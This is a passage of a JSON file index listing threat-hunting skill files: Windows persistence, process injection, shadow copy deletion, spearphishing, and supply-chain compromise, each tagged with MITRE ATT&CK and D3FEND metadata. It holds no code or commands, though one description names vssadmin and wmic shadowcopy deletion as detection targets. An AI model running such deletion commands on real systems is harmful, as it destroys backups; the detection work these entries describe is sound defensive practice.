Deviation"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":695,"sizeBytes":2881},{"name":"template.md","path":"skills/hunting-for-persistence-mechanisms-in-windows/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-mechanisms-in-windows/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":561,"sizeBytes":2012},{"name":"api-reference.md","path":"skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-mechanisms-in-windows/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":490,"sizeBytes":2099},{"name":"standards.md","path":"skills/hunting-for-persistence-mechanisms-in-windows/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-mechanisms-in-windows/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1198,"sizeBytes":4408},{"name":"workflows.md","path":"skills/hunting-for-persistence-mechanisms-in-windows/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-mechanisms-in-windows/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":917,"sizeBytes":3400},{"name":"SKILL.md","path":"skills/hunting-for-persistence-mechanisms-in-windows/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-mechanisms-in-windows/SKILL.md","title":"hunting-for-persistence-mechanisms-in-windows","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-mechanisms-in-windows%2FSKILL.md -->","frontmatter":{"name":"hunting-for-persistence-mechanisms-in-windows","description":"Systematically hunts for adversary persistence mechanisms across Windows endpoints, covering registry Run/RunOnce keys, services, startup folders, scheduled tasks, and WMI event subscriptions. Use when performing a broad persistence sweep during incident response or building SIEM detections that cover the full range of Windows persistence techniques (MITRE T1547).","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","persistence","windows","registry","siem","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":1151,"sizeBytes":4858},{"name":"template.md","path":"skills/hunting-for-persistence-via-wmi-subscriptions/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-via-wmi-subscriptions/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":250,"sizeBytes":1016},{"name":"api-reference.md","path":"skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-via-wmi-subscriptions/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":471,"sizeBytes":1928},{"name":"standards.md","path":"skills/hunting-for-persistence-via-wmi-subscriptions/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-via-wmi-subscriptions/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":593,"sizeBytes":2619},{"name":"workflows.md","path":"skills/hunting-for-persistence-via-wmi-subscriptions/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-via-wmi-subscriptions/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":786,"sizeBytes":3145},{"name":"SKILL.md","path":"skills/hunting-for-persistence-via-wmi-subscriptions/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-persistence-via-wmi-subscriptions/SKILL.md","title":"hunting-for-persistence-via-wmi-subscriptions","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-persistence-via-wmi-subscriptions%2FSKILL.md -->","frontmatter":{"name":"hunting-for-persistence-via-wmi-subscriptions","description":"Hunts for adversary persistence via WMI event subscriptions (MITRE T1546.003) by monitoring the creation of WMI event filters, consumers, and filter-to-consumer bindings that trigger malicious code execution on system events. Use when investigating fileless, trigger-based persistence on Windows hosts or auditing WMI repository contents for malicious event subscriptions.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","wmi-persistence","mitre-t1546-003","event-subscription","windows","endpoint-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":1464,"sizeBytes":6140},{"name":"api-reference.md","path":"skills/hunting-for-process-injection-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-process-injection-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-process-injection-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":846,"sizeBytes":2924},{"name":"SKILL.md","path":"skills/hunting-for-process-injection-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-process-injection-techniques/SKILL.md","title":"hunting-for-process-injection-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-process-injection-techniques%2FSKILL.md -->","frontmatter":{"name":"hunting-for-process-injection-techniques","description":"Detects process injection techniques (MITRE T1055) — including CreateRemoteThread injection, process hollowing, and DLL injection — by analyzing Sysmon Event IDs 8 (CreateRemoteThread) and 10 (ProcessAccess) alongside EDR process telemetry. Use when hunting for in-memory code injection or defense evasion via legitimate process abuse on Windows endpoints.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["process-injection","t1055","sysmon","createremotethread","dll-injection","edr","threat-hunting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1055"]},"isInternal":false,"tokens":670,"sizeBytes":2864},{"name":"template.md","path":"skills/hunting-for-registry-persistence-mechanisms/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-persistence-mechanisms/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":741,"sizeBytes":2688},{"name":"api-reference.md","path":"skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-persistence-mechanisms/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":460,"sizeBytes":1876},{"name":"standards.md","path":"skills/hunting-for-registry-persistence-mechanisms/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-persistence-mechanisms/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":442,"sizeBytes":1665},{"name":"workflows.md","path":"skills/hunting-for-registry-persistence-mechanisms/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-persistence-mechanisms/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":628,"sizeBytes":2977},{"name":"SKILL.md","path":"skills/hunting-for-registry-persistence-mechanisms/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-persistence-mechanisms/SKILL.md","title":"hunting-for-registry-persistence-mechanisms","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-persistence-mechanisms%2FSKILL.md -->","frontmatter":{"name":"hunting-for-registry-persistence-mechanisms","description":"Hunts for registry-based persistence mechanisms (MITRE T1547) in Windows environments, including Run/RunOnce keys, Winlogon Shell/Userinit modifications, Image File Execution Options (IFEO) debugger injection, and COM hijacking via CLSID overrides. Use when auditing the registry for persistence artifacts or building detections for registry-based malware autostart techniques.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","registry","persistence","windows","t1547","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":869,"sizeBytes":3725},{"name":"api-reference.md","path":"skills/hunting-for-registry-run-key-persistence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-run-key-persistence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-run-key-persistence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":838,"sizeBytes":3198},{"name":"SKILL.md","path":"skills/hunting-for-registry-run-key-persistence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-registry-run-key-persistence/SKILL.md","title":"hunting-for-registry-run-key-persistence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-registry-run-key-persistence%2FSKILL.md -->","frontmatter":{"name":"hunting-for-registry-run-key-persistence","description":"Detect MITRE ATT&CK T1547.001 registry Run key persistence by analyzing Sysmon Event ID 13 logs and registry queries to identify malicious auto-start entries.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["persistence","registry-run-keys","t1547-001","sysmon","threat-hunting","windows-forensics","mitre-attack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":783,"sizeBytes":3384},{"name":"template.md","path":"skills/hunting-for-scheduled-task-persistence/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-scheduled-task-persistence/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":720,"sizeBytes":2621},{"name":"api-reference.md","path":"skills/hunting-for-scheduled-task-persistence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-scheduled-task-persistence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":390,"sizeBytes":1514},{"name":"standards.md","path":"skills/hunting-for-scheduled-task-persistence/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-scheduled-task-persistence/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":409,"sizeBytes":1556},{"name":"workflows.md","path":"skills/hunting-for-scheduled-task-persistence/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-scheduled-task-persistence/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":611,"sizeBytes":2869},{"name":"SKILL.md","path":"skills/hunting-for-scheduled-task-persistence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-scheduled-task-persistence/SKILL.md","title":"hunting-for-scheduled-task-persistence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-scheduled-task-persistence%2FSKILL.md -->","frontmatter":{"name":"hunting-for-scheduled-task-persistence","description":"Runs a hypothesis-driven threat hunt for Windows Scheduled Task persistence (T1053), guiding SIEM/EDR queries against task creation events (e.g. Event ID 4698), suspicious task actions, and unusual scheduling patterns. Use when hunting for scheduled-task persistence, after threat intel flags related campaigns, during incident response, or when alerts fire on schtasks/at.exe activity.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","scheduled-tasks","persistence","t1053","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Execution Isolation","Process Termination","Hardware-based Process Isolation","Platform Monitoring","Process Suspension"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":834,"sizeBytes":3628},{"name":"template.md","path":"skills/hunting-for-shadow-copy-deletion/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-shadow-copy-deletion/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":722,"sizeBytes":2647},{"name":"api-reference.md","path":"skills/hunting-for-shadow-copy-deletion/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-shadow-copy-deletion/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":454,"sizeBytes":1647},{"name":"standards.md","path":"skills/hunting-for-shadow-copy-deletion/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-shadow-copy-deletion/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":405,"sizeBytes":1570},{"name":"workflows.md","path":"skills/hunting-for-shadow-copy-deletion/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-shadow-copy-deletion/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":621,"sizeBytes":2913},{"name":"SKILL.md","path":"skills/hunting-for-shadow-copy-deletion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-shadow-copy-deletion/SKILL.md","title":"hunting-for-shadow-copy-deletion","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-shadow-copy-deletion%2FSKILL.md -->","frontmatter":{"name":"hunting-for-shadow-copy-deletion","description":"Runs a hypothesis-driven threat hunt for Volume Shadow Copy deletion (T1490) by querying SIEM/EDR telemetry for vssadmin, wmic shadowcopy, and PowerShell shadow-copy-deletion commands. Use when hunting for ransomware preparation or anti-forensics activity, after threat intel flags active campaigns, or when alerts trigger on shadow-copy deletion commands.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","shadow-copy","ransomware","anti-forensics","t1490","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","Restore Object","Restore Configuration","Restore Software","Software Update"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1486"]},"isInternal":false,"tokens":831,"sizeBytes":3561},{"name":"template.md","path":"skills/hunting-for-spearphishing-indicators/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-spearphishing-indicators/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":731,"sizeBytes":2666},{"name":"api-reference.md","path":"skills/hunting-for-spearphishing-indicators/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-spearphishing-indicators/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":558,"sizeBytes":1834},{"name":"standards.md","path":"skills/hunting-for-spearphishing-indicators/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-spearphishing-indicators/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":420,"sizeBytes":1601},{"name":"workflows.md","path":"skills/hunting-for-spearphishing-indicators/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-spearphishing-indicators/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":662,"sizeBytes":3024},{"name":"SKILL.md","path":"skills/hunting-for-spearphishing-indicators/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-spearphishing-indicators/SKILL.md","title":"hunting-for-spearphishing-indicators","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-spearphishing-indicators%2FSKILL.md -->","frontmatter":{"name":"hunting-for-spearphishing-indicators","description":"Hunt for spearphishing campaign indicators across email logs, endpoint telemetry, and network data to detect targeted email attacks.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","spearphishing","initial-access","email-security","t1566","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1566"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","resource-development"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"F1031","name":"Impersonate Account Holder","tactic":"initial-access","source":"f3"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":964,"sizeBytes":4021},{"name":"api-reference.md","path":"skills/hunting-for-startup-folder-persistence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-startup-folder-persistence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-startup-folder-persistence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":737,"sizeBytes":2887},{"name":"SKILL.md","path":"skills/hunting-for-startup-folder-persistence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-startup-folder-persistence/SKILL.md","title":"hunting-for-startup-folder-persistence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-startup-folder-persistence%2FSKILL.md -->","frontmatter":{"name":"hunting-for-startup-folder-persistence","description":"Detects T1547.001 startup folder persistence by monitoring Windows startup directories for suspicious file creation, cross-referencing Autoruns entries, and running a Python watchdog script for real-time filesystem monitoring. Use when hunting for malware or implants that survive reboot via startup-folder placement, or when validating autoruns/EDR findings against known-good startup baselines.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","T1547.001","startup-folder","persistence","autoruns","watchdog","filesystem-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":618,"sizeBytes":2706},{"name":"template.md","path":"skills/hunting-for-supply-chain-compromise/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-supply-chain-compromise/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":726,"sizeBytes":2678},{"name":"api-reference.md","path":"skills/hunting-for-supply-chain-compromise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-supply-chain-compromise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":496,"sizeBytes":1940},{"name":"standards.md","path":"skills/hunting-for-supply-chain-compromise/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-supply-chain-compromise/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":413,"sizeBytes":1609},{"name":"workflows.md","path":"skills/hunting-for-supply-chain-compromise/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-supply-chain-compromise/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":655,"sizeBytes":3043},{"name":"SKILL.md","path":"skills/hunting-for-supply-chain-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-supply-chain-compromise/SKILL.md","title":"hunting-for-supply-chain-compromise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-supply-chain-compromise%2FSKILL.md -->","frontmatter":{"name":"hunting-for-supply-chain-compromise","description":"Runs a hypothesis-driven threat hunt for supply-chain compromise (T1195) by querying SIEM/EDR logs for trojanized software updates, compromised dependencies, unauthorized code modifications, and tampered build artifacts. Use when hunting after threat intel flags a compromised vendor/dependency, scoping a build-pipeline compromise, or reviewing update/build integrity.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","supply-chain","initial-access","t1195","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","Restore Object","Restore Software","Software Update","Asset Inventory"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1195"]},"isInternal":false,"tokens":823,"sizeBytes":3596},{"name":"template.md","path":"skills/hunting-for-suspicious-scheduled-tasks/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-suspicious-scheduled-tasks/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 